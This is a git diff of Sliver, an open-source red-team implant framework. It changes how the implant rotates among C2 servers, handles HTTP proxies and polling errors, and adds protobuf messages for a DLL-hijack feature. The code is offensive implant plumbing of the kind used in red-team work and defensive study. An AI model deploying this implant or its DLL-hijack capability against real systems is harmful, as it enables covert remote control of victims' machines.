|
||||
return &sliverpb.Envelope{}, err
|
||||
}
|
||||
|
||||
+15
-15
@@ -1,8 +1,10 @@
|
||||
package shell
|
||||
//go:build !windows
|
||||
|
||||
package transports
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
@@ -16,21 +18,19 @@ package shell
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
-----------------------------------------------------------------------
|
||||
|
||||
Place holder so we don't get undefined functions when compiling to
|
||||
non-Windows platforms.
|
||||
|
||||
*/
|
||||
|
||||
var (
|
||||
// Shell constants
|
||||
bash = []string{"/bin/bash"}
|
||||
sh = []string{"/bin/sh"}
|
||||
import (
|
||||
"errors"
|
||||
"net/url"
|
||||
)
|
||||
|
||||
// GetSystemShellPath - Find bash or sh
|
||||
func GetSystemShellPath(path string) []string {
|
||||
if exists(path) {
|
||||
return []string{path}
|
||||
}
|
||||
if exists(bash[0]) {
|
||||
return bash
|
||||
}
|
||||
return sh
|
||||
func namedPipeConnect(_ *url.URL) (*Connection, error) {
|
||||
return nil, errors.New("not supported")
|
||||
}
|
||||
@@ -19,10 +19,10 @@ package transports
|
||||
*/
|
||||
|
||||
import (
|
||||
insecureRand "math/rand"
|
||||
|
||||
// {{if or .Config.HTTPc2Enabled .Config.TCPPivotc2Enabled .Config.WGc2Enabled}}
|
||||
"net"
|
||||
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
@@ -33,6 +33,7 @@ import (
|
||||
// {{if .Config.WGc2Enabled}}
|
||||
"errors"
|
||||
// {{end}}
|
||||
|
||||
"io"
|
||||
"net/url"
|
||||
"os"
|
||||
@@ -40,7 +41,6 @@ import (
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
|
||||
// {{if .Config.HTTPc2Enabled}}
|
||||
@@ -107,6 +107,10 @@ type Tunnel struct {
|
||||
WriteSequence uint64
|
||||
}
|
||||
|
||||
func init() {
|
||||
insecureRand.Seed(time.Now().UnixNano())
|
||||
}
|
||||
|
||||
// Tunnel - Add tunnel to mapping
|
||||
func (c *Connection) Tunnel(ID uint64) *Tunnel {
|
||||
c.mutex.RLock()
|
||||
@@ -130,8 +134,8 @@ func (c *Connection) RemoveTunnel(ID uint64) {
|
||||
}
|
||||
|
||||
func (c *Connection) RequestResend(data []byte) {
|
||||
c.Send <- &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgTunnelData,
|
||||
c.Send <- &pb.Envelope{
|
||||
Type: pb.MsgTunnelData,
|
||||
Data: data,
|
||||
}
|
||||
}
|
||||
@@ -289,14 +293,45 @@ func GetActiveConnection() *Connection {
|
||||
}
|
||||
|
||||
func nextCCServer() *url.URL {
|
||||
uri, err := url.Parse(ccServers[*ccCounter%len(ccServers)])
|
||||
var next string
|
||||
switch "{{.Config.ConnectionStrategy}}" {
|
||||
case "r": // Random
|
||||
next = ccServers[insecureRand.Intn(len(ccServers))]
|
||||
case "rd": // Random Domain
|
||||
next = randomCCDomain(ccServers[*ccCounter%len(ccServers)])
|
||||
case "s": // Sequential
|
||||
next = ccServers[*ccCounter%len(ccServers)]
|
||||
default:
|
||||
next = ccServers[*ccCounter%len(ccServers)]
|
||||
}
|
||||
*ccCounter++
|
||||
uri, err := url.Parse(next)
|
||||
if err != nil {
|
||||
return nextCCServer()
|
||||
}
|
||||
return uri
|
||||
}
|
||||
|
||||
// randomCCDomain - Random selection within a protocol
|
||||
func randomCCDomain(next string) string {
|
||||
uri, err := url.Parse(next)
|
||||
if err != nil {
|
||||
return next
|
||||
}
|
||||
pool := []string{}
|
||||
protocol := uri.Scheme
|
||||
for _, cc := range ccServers {
|
||||
uri, err := url.Parse(cc)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if uri.Scheme == protocol {
|
||||
pool = append(pool, cc)
|
||||
}
|
||||
}
|
||||
return pool[insecureRand.Intn(len(pool))]
|
||||
}
|
||||
|
||||
// GetReconnectInterval - Parse the reconnect interval inserted at compile-time
|
||||
func GetReconnectInterval() time.Duration {
|
||||
if reconnectInterval == -1 {
|
||||
@@ -400,12 +435,12 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
|
||||
}
|
||||
err := socketWriteEnvelope(conn, envelope)
|
||||
if err != nil {
|
||||
break
|
||||
return
|
||||
}
|
||||
case <-time.After(mtlsPingInterval):
|
||||
socketWritePing(conn)
|
||||
if err != nil {
|
||||
break
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -490,12 +525,12 @@ func wgConnect(uri *url.URL) (*Connection, error) {
|
||||
}
|
||||
err := socketWGWriteEnvelope(conn, envelope)
|
||||
if err != nil {
|
||||
break
|
||||
return
|
||||
}
|
||||
case <-time.After(mtlsPingInterval):
|
||||
socketWGWritePing(conn)
|
||||
if err != nil {
|
||||
break
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -524,12 +559,13 @@ func wgConnect(uri *url.URL) (*Connection, error) {
|
||||
// {{end}} -WGc2Enabled
|
||||
|
||||
// {{if .Config.HTTPc2Enabled}}
|
||||
func httpConnect(uri *url.URL) (*Connection, error) {
|
||||
func httpConnect(c2URI *url.URL) (*Connection, error) {
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Connecting -> http(s)://%s", uri.Host)
|
||||
log.Printf("Connecting -> http(s)://%s", c2URI.Host)
|
||||
// {{end}}
|
||||
client, err := HTTPStartSession(uri.Host, uri.Path)
|
||||
proxyConfig := c2URI.Query().Get("proxy")
|
||||
client, err := HTTPStartSession(c2URI.Host, c2URI.Path, proxyConfig)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("http(s) connection error %v", err)
|
||||
@@ -572,37 +608,52 @@ func httpConnect(uri *url.URL) (*Connection, error) {
|
||||
|
||||
go func() {
|
||||
defer connection.Cleanup()
|
||||
errCount := 0 // Number of sequential errors
|
||||
for {
|
||||
select {
|
||||
case <-ctrl:
|
||||
return
|
||||
default:
|
||||
resp, err := client.Poll()
|
||||
switch err := err.(type) {
|
||||
switch errType := err.(type) {
|
||||
case nil:
|
||||
errCount = 0
|
||||
if len(resp) == 0 {
|
||||
continue
|
||||
}
|
||||
envelope := &pb.Envelope{}
|
||||
proto.Unmarshal(resp, envelope)
|
||||
err = proto.Unmarshal(resp, envelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("failed to decode pb: %s", err)
|
||||
// {{end}}
|
||||
continue
|
||||
}
|
||||
recv <- envelope
|
||||
case net.Error:
|
||||
if err.Timeout() {
|
||||
case *url.Error:
|
||||
errCount++
|
||||
if err, ok := errType.Err.(net.Error); ok && err.Timeout() {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("non-fatal error, continue")
|
||||
log.Printf("timeout error #%d", errCount)
|
||||
// {{end}}
|
||||
continue
|
||||
if errCount < maxErrors {
|
||||
continue
|
||||
}
|
||||
}
|
||||
return
|
||||
case *url.Error:
|
||||
if err, ok := err.Err.(net.Error); ok && err.Timeout() {
|
||||
case net.Error:
|
||||
errCount++
|
||||
if errType.Timeout() {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("non-fatal error, continue")
|
||||
log.Printf("timeout error #%d", errCount)
|
||||
// {{end}}
|
||||
continue
|
||||
if errCount < maxErrors {
|
||||
continue
|
||||
}
|
||||
}
|
||||
return
|
||||
default:
|
||||
errCount++
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] error: %#v", err)
|
||||
// {{end}}
|
||||
@@ -671,64 +722,6 @@ func dnsConnect(uri *url.URL) (*Connection, error) {
|
||||
|
||||
// {{end}} - .DNSc2Enabled
|
||||
|
||||
// {{if .Config.NamePipec2Enabled}}
|
||||
func namedPipeConnect(uri *url.URL) (*Connection, error) {
|
||||
conn, err := namePipeDial(uri)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
send := make(chan *pb.Envelope)
|
||||
recv := make(chan *pb.Envelope)
|
||||
ctrl := make(chan bool, 1)
|
||||
connection := &Connection{
|
||||
Send: send,
|
||||
Recv: recv,
|
||||
ctrl: ctrl,
|
||||
tunnels: &map[uint64]*Tunnel{},
|
||||
mutex: &sync.RWMutex{},
|
||||
once: &sync.Once{},
|
||||
IsOpen: true,
|
||||
cleanup: func() {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] lost connection, cleanup...")
|
||||
// {{end}}
|
||||
close(send)
|
||||
ctrl <- true
|
||||
close(recv)
|
||||
},
|
||||
}
|
||||
|
||||
go func() {
|
||||
defer connection.Cleanup()
|
||||
for envelope := range send {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] send loop envelope type %d\n", envelope.Type)
|
||||
// {{end}}
|
||||
namedPipeWriteEnvelope(&conn, envelope)
|
||||
}
|
||||
}()
|
||||
|
||||
go func() {
|
||||
defer connection.Cleanup()
|
||||
for {
|
||||
envelope, err := namedPipeReadEnvelope(&conn)
|
||||
if err == io.EOF {
|
||||
break
|
||||
}
|
||||
if err == nil {
|
||||
recv <- envelope
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] Receive loop envelope type %d\n", envelope.Type)
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
}()
|
||||
activeConnection = connection
|
||||
return connection, nil
|
||||
}
|
||||
|
||||
// {{end}} -NamePipec2Enabled
|
||||
|
||||
// {{if .Config.TCPPivotc2Enabled}}
|
||||
func tcpPivotConnect(uri *url.URL) (*Connection, error) {
|
||||
addr := strings.ReplaceAll(uri.String(), "tcppivot://", "")
|
||||
@@ -763,7 +756,7 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tcp-pivot] send loop envelope type %d\n", envelope.Type)
|
||||
// {{end}}
|
||||
tcpPivoteWriteEnvelope(&conn, envelope)
|
||||
tcpPivotWriteEnvelope(&conn, envelope)
|
||||
}
|
||||
}()
|
||||
|
||||
@@ -789,7 +782,7 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
|
||||
// {{end}} -TCPPivotc2Enabled
|
||||
|
||||
// rootOnlyVerifyCertificate - Go doesn't provide a method for only skipping hostname validation so
|
||||
// we have to disable all of the fucking certificate validation and re-implement everything.
|
||||
// we have to disable all of the certificate validation and re-implement everything.
|
||||
// https://github.com/golang/go/issues/21971
|
||||
func rootOnlyVerifyCertificate(rawCerts [][]byte, _ [][]*x509.Certificate) error {
|
||||
|
||||
|
||||
@@ -1,5 +1,23 @@
|
||||
package version
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
func GetVersion() string {
|
||||
return ""
|
||||
}
|
||||
@@ -1,6 +0,0 @@
|
||||
package version
|
||||
|
||||
// GetVersion returns the os version information
|
||||
func GetVersion() string {
|
||||
return ""
|
||||
}
|
||||
@@ -1,8 +1,10 @@
|
||||
package shell
|
||||
//go:build !darwin && !(windows && (amd64 || 386)) && !(linux && (amd64 || 386))
|
||||
|
||||
package version
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
@@ -16,21 +18,14 @@ package shell
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
-----------------------------------------------------------------------
|
||||
|
||||
Place holder so we don't get undefined functions in generic builds.
|
||||
|
||||
*/
|
||||
|
||||
var (
|
||||
// Shell constants
|
||||
bash = []string{"/bin/bash"}
|
||||
sh = []string{"/bin/sh"}
|
||||
)
|
||||
|
||||
// GetSystemShellPath - Find bash or sh
|
||||
func GetSystemShellPath(path string) []string {
|
||||
if exists(path) {
|
||||
return []string{path}
|
||||
}
|
||||
if exists(bash[0]) {
|
||||
return bash
|
||||
}
|
||||
return sh
|
||||
// GetVersion returns the os version information
|
||||
func GetVersion() string {
|
||||
return ""
|
||||
}
|
||||
@@ -1,5 +1,25 @@
|
||||
//go:build amd64 || 386
|
||||
|
||||
package version
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
|
||||
@@ -1,5 +1,23 @@
|
||||
package version
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
//{{if .Config.Debug}}
|
||||
|
||||
+275
-73
@@ -666,6 +666,7 @@ type ImplantConfig struct {
|
||||
sizeCache protoimpl.SizeCache
|
||||
unknownFields protoimpl.UnknownFields
|
||||
|
||||
ID string `protobuf:"bytes,100,opt,name=ID,proto3" json:"ID,omitempty"`
|
||||
GOOS string `protobuf:"bytes,1,opt,name=GOOS,proto3" json:"GOOS,omitempty"`
|
||||
GOARCH string `protobuf:"bytes,2,opt,name=GOARCH,proto3" json:"GOARCH,omitempty"`
|
||||
Name string `protobuf:"bytes,3,opt,name=Name,proto3" json:"Name,omitempty"`
|
||||
@@ -684,18 +685,19 @@ type ImplantConfig struct {
|
||||
MaxConnectionErrors uint32 `protobuf:"varint,9,opt,name=MaxConnectionErrors,proto3" json:"MaxConnectionErrors,omitempty"`
|
||||
PollInterval uint32 `protobuf:"varint,38,opt,name=PollInterval,proto3" json:"PollInterval,omitempty"`
|
||||
// c2
|
||||
C2 []*ImplantC2 `protobuf:"bytes,10,rep,name=C2,proto3" json:"C2,omitempty"`
|
||||
CanaryDomains []string `protobuf:"bytes,11,rep,name=CanaryDomains,proto3" json:"CanaryDomains,omitempty"`
|
||||
LimitDomainJoined bool `protobuf:"varint,20,opt,name=LimitDomainJoined,proto3" json:"LimitDomainJoined,omitempty"`
|
||||
LimitDatetime string `protobuf:"bytes,21,opt,name=LimitDatetime,proto3" json:"LimitDatetime,omitempty"`
|
||||
LimitHostname string `protobuf:"bytes,22,opt,name=LimitHostname,proto3" json:"LimitHostname,omitempty"`
|
||||
LimitUsername string `protobuf:"bytes,23,opt,name=LimitUsername,proto3" json:"LimitUsername,omitempty"`
|
||||
LimitFileExists string `protobuf:"bytes,32,opt,name=LimitFileExists,proto3" json:"LimitFileExists,omitempty"`
|
||||
Format OutputFormat `protobuf:"varint,25,opt,name=Format,proto3,enum=clientpb.OutputFormat" json:"Format,omitempty"`
|
||||
IsSharedLib bool `protobuf:"varint,26,opt,name=IsSharedLib,proto3" json:"IsSharedLib,omitempty"`
|
||||
FileName string `protobuf:"bytes,27,opt,name=FileName,proto3" json:"FileName,omitempty"`
|
||||
IsService bool `protobuf:"varint,28,opt,name=IsService,proto3" json:"IsService,omitempty"`
|
||||
IsShellcode bool `protobuf:"varint,29,opt,name=IsShellcode,proto3" json:"IsShellcode,omitempty"`
|
||||
C2 []*ImplantC2 `protobuf:"bytes,10,rep,name=C2,proto3" json:"C2,omitempty"`
|
||||
CanaryDomains []string `protobuf:"bytes,11,rep,name=CanaryDomains,proto3" json:"CanaryDomains,omitempty"`
|
||||
ConnectionStrategy string `protobuf:"bytes,39,opt,name=ConnectionStrategy,proto3" json:"ConnectionStrategy,omitempty"`
|
||||
LimitDomainJoined bool `protobuf:"varint,20,opt,name=LimitDomainJoined,proto3" json:"LimitDomainJoined,omitempty"`
|
||||
LimitDatetime string `protobuf:"bytes,21,opt,name=LimitDatetime,proto3" json:"LimitDatetime,omitempty"`
|
||||
LimitHostname string `protobuf:"bytes,22,opt,name=LimitHostname,proto3" json:"LimitHostname,omitempty"`
|
||||
LimitUsername string `protobuf:"bytes,23,opt,name=LimitUsername,proto3" json:"LimitUsername,omitempty"`
|
||||
LimitFileExists string `protobuf:"bytes,32,opt,name=LimitFileExists,proto3" json:"LimitFileExists,omitempty"`
|
||||
Format OutputFormat `protobuf:"varint,25,opt,name=Format,proto3,enum=clientpb.OutputFormat" json:"Format,omitempty"`
|
||||
IsSharedLib bool `protobuf:"varint,26,opt,name=IsSharedLib,proto3" json:"IsSharedLib,omitempty"`
|
||||
FileName string `protobuf:"bytes,27,opt,name=FileName,proto3" json:"FileName,omitempty"`
|
||||
IsService bool `protobuf:"varint,28,opt,name=IsService,proto3" json:"IsService,omitempty"`
|
||||
IsShellcode bool `protobuf:"varint,29,opt,name=IsShellcode,proto3" json:"IsShellcode,omitempty"`
|
||||
}
|
||||
|
||||
func (x *ImplantConfig) Reset() {
|
||||
@@ -730,6 +732,13 @@ func (*ImplantConfig) Descriptor() ([]byte, []int) {
|
||||
return file_clientpb_client_proto_rawDescGZIP(), []int{3}
|
||||
}
|
||||
|
||||
func (x *ImplantConfig) GetID() string {
|
||||
if x != nil {
|
||||
return x.ID
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (x *ImplantConfig) GetGOOS() string {
|
||||
if x != nil {
|
||||
return x.GOOS
|
||||
@@ -863,6 +872,13 @@ func (x *ImplantConfig) GetCanaryDomains() []string {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (x *ImplantConfig) GetConnectionStrategy() string {
|
||||
if x != nil {
|
||||
return x.ConnectionStrategy
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (x *ImplantConfig) GetLimitDomainJoined() bool {
|
||||
if x != nil {
|
||||
return x.LimitDomainJoined
|
||||
@@ -4714,6 +4730,141 @@ func (x *AllHosts) GetHosts() []*Host {
|
||||
return nil
|
||||
}
|
||||
|
||||
// [ Dll Hijack ] ----------------------------------------
|
||||
type DllHijackReq struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
unknownFields protoimpl.UnknownFields
|
||||
|
||||
ReferenceDLLPath string `protobuf:"bytes,1,opt,name=ReferenceDLLPath,proto3" json:"ReferenceDLLPath,omitempty"`
|
||||
TargetLocation string `protobuf:"bytes,2,opt,name=TargetLocation,proto3" json:"TargetLocation,omitempty"`
|
||||
ReferenceDLL []byte `protobuf:"bytes,3,opt,name=ReferenceDLL,proto3" json:"ReferenceDLL,omitempty"`
|
||||
TargetDLL []byte `protobuf:"bytes,4,opt,name=TargetDLL,proto3" json:"TargetDLL,omitempty"`
|
||||
ProfileName string `protobuf:"bytes,5,opt,name=ProfileName,proto3" json:"ProfileName,omitempty"`
|
||||
Request *commonpb.Request `protobuf:"bytes,9,opt,name=Request,proto3" json:"Request,omitempty"`
|
||||
}
|
||||
|
||||
func (x *DllHijackReq) Reset() {
|
||||
*x = DllHijackReq{}
|
||||
if protoimpl.UnsafeEnabled {
|
||||
mi := &file_clientpb_client_proto_msgTypes[65]
|
||||
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
|
||||
ms.StoreMessageInfo(mi)
|
||||
}
|
||||
}
|
||||
|
||||
func (x *DllHijackReq) String() string {
|
||||
return protoimpl.X.MessageStringOf(x)
|
||||
}
|
||||
|
||||
func (*DllHijackReq) ProtoMessage() {}
|
||||
|
||||
func (x *DllHijackReq) ProtoReflect() protoreflect.Message {
|
||||
mi := &file_clientpb_client_proto_msgTypes[65]
|
||||
if protoimpl.UnsafeEnabled && x != nil {
|
||||
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
|
||||
if ms.LoadMessageInfo() == nil {
|
||||
ms.StoreMessageInfo(mi)
|
||||
}
|
||||
return ms
|
||||
}
|
||||
return mi.MessageOf(x)
|
||||
}
|
||||
|
||||
// Deprecated: Use DllHijackReq.ProtoReflect.Descriptor instead.
|
||||
func (*DllHijackReq) Descriptor() ([]byte, []int) {
|
||||
return file_clientpb_client_proto_rawDescGZIP(), []int{65}
|
||||
}
|
||||
|
||||
func (x *DllHijackReq) GetReferenceDLLPath() string {
|
||||
if x != nil {
|
||||
return x.ReferenceDLLPath
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (x *DllHijackReq) GetTargetLocation() string {
|
||||
if x != nil {
|
||||
return x.TargetLocation
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (x *DllHijackReq) GetReferenceDLL() []byte {
|
||||
if x != nil {
|
||||
return x.ReferenceDLL
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (x *DllHijackReq) GetTargetDLL() []byte {
|
||||
if x != nil {
|
||||
return x.TargetDLL
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (x *DllHijackReq) GetProfileName() string {
|
||||
if x != nil {
|
||||
return x.ProfileName
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (x *DllHijackReq) GetRequest() *commonpb.Request {
|
||||
if x != nil {
|
||||
return x.Request
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
type DllHijack struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
unknownFields protoimpl.UnknownFields
|
||||
|
||||
Response *commonpb.Response `protobuf:"bytes,9,opt,name=Response,proto3" json:"Response,omitempty"`
|
||||
}
|
||||
|
||||
func (x *DllHijack) Reset() {
|
||||
*x = DllHijack{}
|
||||
if protoimpl.UnsafeEnabled {
|
||||
mi := &file_clientpb_client_proto_msgTypes[66]
|
||||
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
|
||||
ms.StoreMessageInfo(mi)
|
||||
}
|
||||
}
|
||||
|
||||
func (x *DllHijack) String() string {
|
||||
return protoimpl.X.MessageStringOf(x)
|
||||
}
|
||||
|
||||
func (*DllHijack) ProtoMessage() {}
|
||||
|
||||
func (x *DllHijack) ProtoReflect() protoreflect.Message {
|
||||
mi := &file_clientpb_client_proto_msgTypes[66]
|
||||
if protoimpl.UnsafeEnabled && x != nil {
|
||||
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
|
||||
if ms.LoadMessageInfo() == nil {
|
||||
ms.StoreMessageInfo(mi)
|
||||
}
|
||||
return ms
|
||||
}
|
||||
return mi.MessageOf(x)
|
||||
}
|
||||
|
||||
// Deprecated: Use DllHijack.ProtoReflect.Descriptor instead.
|
||||
func (*DllHijack) Descriptor() ([]byte, []int) {
|
||||
return file_clientpb_client_proto_rawDescGZIP(), []int{66}
|
||||
}
|
||||
|
||||
func (x *DllHijack) GetResponse() *commonpb.Response {
|
||||
if x != nil {
|
||||
return x.Response
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
var File_clientpb_client_proto protoreflect.FileDescriptor
|
||||
|
||||
var file_clientpb_client_proto_rawDesc = []byte{
|
||||
@@ -4776,8 +4927,9 @@ var file_clientpb_client_proto_rawDesc = []byte{
|
||||
0x72, 0x69, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x55, 0x52, 0x4c, 0x18, 0x02,
|
||||
0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x55, 0x52, 0x4c, 0x12, 0x18, 0x0a, 0x07, 0x4f, 0x70, 0x74,
|
||||
0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x4f, 0x70, 0x74, 0x69,
|
||||
0x6f, 0x6e, 0x73, 0x22, 0xfc, 0x07, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43,
|
||||
0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20,
|
||||
0x6f, 0x6e, 0x73, 0x22, 0xbc, 0x08, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43,
|
||||
0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x64, 0x20, 0x01, 0x28,
|
||||
0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20,
|
||||
0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41,
|
||||
0x52, 0x43, 0x48, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43,
|
||||
0x48, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52,
|
||||
@@ -4816,7 +4968,10 @@ var file_clientpb_client_proto_rawDesc = []byte{
|
||||
0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x32,
|
||||
0x52, 0x02, 0x43, 0x32, 0x12, 0x24, 0x0a, 0x0d, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x44, 0x6f,
|
||||
0x6d, 0x61, 0x69, 0x6e, 0x73, 0x18, 0x0b, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0d, 0x43, 0x61, 0x6e,
|
||||
0x61, 0x72, 0x79, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x12, 0x2c, 0x0a, 0x11, 0x4c, 0x69,
|
||||
0x61, 0x72, 0x79, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x12, 0x2e, 0x0a, 0x12, 0x43, 0x6f,
|
||||
0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x74, 0x72, 0x61, 0x74, 0x65, 0x67, 0x79,
|
||||
0x18, 0x27, 0x20, 0x01, 0x28, 0x09, 0x52, 0x12, 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69,
|
||||
0x6f, 0x6e, 0x53, 0x74, 0x72, 0x61, 0x74, 0x65, 0x67, 0x79, 0x12, 0x2c, 0x0a, 0x11, 0x4c, 0x69,
|
||||
0x6d, 0x69, 0x74, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x4a, 0x6f, 0x69, 0x6e, 0x65, 0x64, 0x18,
|
||||
0x14, 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x44, 0x6f, 0x6d, 0x61,
|
||||
0x69, 0x6e, 0x4a, 0x6f, 0x69, 0x6e, 0x65, 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x4c, 0x69, 0x6d, 0x69,
|
||||
@@ -5252,29 +5407,48 @@ var file_clientpb_client_proto_rawDesc = []byte{
|
||||
0x0a, 0x08, 0x41, 0x6c, 0x6c, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x12, 0x24, 0x0a, 0x05, 0x48, 0x6f,
|
||||
0x73, 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65,
|
||||
0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x52, 0x05, 0x48, 0x6f, 0x73, 0x74, 0x73,
|
||||
0x2a, 0x4a, 0x0a, 0x0c, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74,
|
||||
0x12, 0x0e, 0x0a, 0x0a, 0x53, 0x48, 0x41, 0x52, 0x45, 0x44, 0x5f, 0x4c, 0x49, 0x42, 0x10, 0x00,
|
||||
